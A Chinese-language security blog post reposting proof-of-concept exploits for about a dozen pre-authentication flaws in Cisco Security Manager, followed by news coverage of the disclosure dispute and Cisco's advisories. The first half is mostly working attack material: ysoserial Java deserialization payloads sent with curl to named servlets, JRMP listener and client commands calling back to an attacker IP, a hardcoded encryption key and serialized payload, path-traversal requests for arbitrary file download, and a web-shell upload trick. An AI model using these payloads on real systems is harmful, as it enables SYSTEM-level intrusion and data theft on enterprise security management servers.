Cisco Security Manager远程代码执行漏洞CSM RCE漏洞

Cisco Security Manager远程代码执行漏洞CSM RCE漏洞

在网络设备制造商悄悄发布了该平台的4.22版本的补丁程序后的一周,思科发布了多个有关Cisco Security Manager(CSM)关键漏洞的安全公告。

Cisco Security Manager简介

思科安全管理器Cisco Security Manager(CSM)是一个企业级安全管理应用程序,可提供对思科安全和网络设备的了解和控制。Cisco Security Manager在广泛的Cisco安全设备中提供全面的安全管理(配置和事件管理),包括Cisco ASA自适应安全设备,Cisco IPS系列传感器设备,Cisco集成服务路由器(ISR),Cisco防火墙服务模块(FWSM) ,Cisco Catalyst,Cisco交换机等等。Cisco Security Manager允许您有效地管理各种规模的网络-从小型网络到包含数百台设备的大型网络。

Cisco Security Manager页面截图

poc代码

多个预身份验证漏洞已于2020-07-13提交给思科,并且思科已于2020-11-10在4.22版中进行了修补。发行说明未提及有关漏洞的任何信息,也未发布安全公告。所有有效负载均在NT AUTHORITY\SYSTEM上下文中进行处理。

要求:从中央Maven存储库下载commons-beanutils-1.6.1.jar

远程代码执行SecretService.jsp

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils

curl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jsp

远程代码执行CsJaasServiceServlet

编译JaasEncryptor.java并替换b64Payload内容:

import java.security.InvalidKeyException;
import java.util.Base64;
import com.cisco.nm.cmf.security.jaas.BlobCrypt;

public class JaasEncryptor {

    public static void main(String args[]) {
        String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";

        byte[] payload = Base64.getDecoder().decode(b64Payload);
        byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
        
        byte[] enc = BlobCrypt.encryptArray(payload, key);
        System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
        byte[] dec = BlobCrypt.decryptArray(enc, key);
    }
}

准备JRMP侦听器:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:443' | base64 -w0

编译加密的有效负载:

javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptor

使用参数cmd = data +换行+ data = [ENCRYPTED_PAYLOAD]将有效载荷发送到Servlet 。

远程代码执行AuthTokenServlet

准备JRMP侦听器:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:1337' > payload_JRMP1_2

发送请求:

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServlet

远程代码执行ClientServicesServlet

准备JRMP侦听器:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_3

发送请求:

curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServlet

远程代码执行CTMServlet

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2

curl -i -s -k -X $'POST' -H $'Content-Type: application/octet-stream' -H $'CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi' -H $'CTM-VERSION: 1.5' -H $'CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'User-Agent: Java/1.8.0_222' -H $'Host: [TARGET_IP]' -H $'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' -H $'Connection: keep-alive' --data-binary "@payload_CommonsBeanutils1_2" $'https://[TARGET_IP]/athena/CTMServlet'

任意文件下载XdmConfigRequestHandler

GET /athena/xdmProxy/xdmConfig[文件相对路径]

任意文件下载XdmResourceRequestHandler

GET /athena/xdmProxy/xdmResources[文件相对路径]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDelta

任意文件上传XmpFileUploadServlet

编写一个web shell,例如

POST /cwhp/XmpFileUploadServlet?maxFileSize=100

正常的多部分操作,例如,使用../../MDC/tomcat/webapps/cwhp/testme.jsp文件名编写Web Shell 。

任意文件下载XmpFileDownloadServlet

GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[文件相对路径]&readmeText=1

这将以包含目录中所有文件的ZIP文件作为响应。

任意文件下载SampleFileDownloadServlet

GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[文件相对路径]

这将以包含目录中所有文件的ZIP文件作为响应。

任意文件下载resultsFrame.jsp

GET /athena/itf/resultsFrame.jsp?filename=[文件相对路径]

远程代码执行SecretServiceServlet

另请参阅https://de.tenable.com/security/research/tra-2017-23

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_2

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet

这项开发是在Code White研究人员Florian Hauser(frycos)昨天公开披露的概念验证(PoC)代码中,涉及多达12个影响CSM Web界面的安全漏洞,这使未经身份验证的攻击者有可能实现远程代码执行(RCE)攻击。

frycos发布的twitter截图

这些缺陷已于三个月前的7月13日以负责任的方式报告给了思科的产品安全事件响应小组(PSIRT)。

壁画在推特中说:“自从思科PSIRT变得毫无响应,并且发布的4.22版本至今仍未提及任何漏洞,”该公司在推特上说,并指出了昨天PoC公开的原因。

如果发现漏洞上报了,对方没响应,绝大部分人会选择公开漏洞详情,少数愤怒者直接公开其泄露的数据

思科安全管理器是一种端到端企业解决方案,它使组织能够执行访问策略并管理和配置网络中的防火墙和入侵防御系统。

该公司于11月9日发布了4.22版的CSM,其中包含许多安全性增强功能,包括对AnyConnect Web Security WSO的支持以及不赞成使用的MD5哈希算法以及DES和3DES加密算法。

该漏洞使攻击者可以在特权最高的用户帐户“ NT AUTHORITY\SYSTEM”的上下文中设计恶意请求,以及上传和下载任意文件,从而使对手可以访问特定目录中的所有文件。

思科在其通报中说:“该漏洞是由于对受影响设备的请求中的目录遍历字符序列验证不正确造成的。” “攻击者可以通过向受影响的设备发送精心设计的请求来利用此漏洞。成功利用该漏洞可以使攻击者从受影响的设备下载任意文件。”

该缺陷的CVSS评分为9.1(满分10分),因此该漏洞十分严重.

由于CSM使用的Java反序列化功能不安全而导致的另一个缺陷(CVSS得分:8.1)可能允许未经身份验证的具有系统特权的远程攻击者在受影响的设备上执行任意命令。

部分poc代码截图示例

但是,思科尚未解决该缺陷,计划中的修复程序将包含在Cisco Security Manager版本4.23中。

该公司还表示,已经知道有关该漏洞的公开公告,并且到目前为止,尚未发现任何证据表明这些漏洞是在野外利用的。

“ 11月16日,Cisco针对Cisco Security Manager(CSM)中报告的漏洞发布了三份安全公告。通过四个Cisco Bug ID跟踪并解决了所报告的十二个问题。Cisco已发布了免费软件更新,以解决CSM中描述的漏洞。路径遍历漏洞咨询和CSM静态凭据漏洞咨询”,该公司发言人说.

“思科将尽快发布免费软件更新,以解决CSM Java反序列化漏洞公告中描述的漏洞。我们请客户查看公告以获取完整详细信息。思科PSIRT不了解恶意使用的漏洞。咨询中描述的内容。”

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注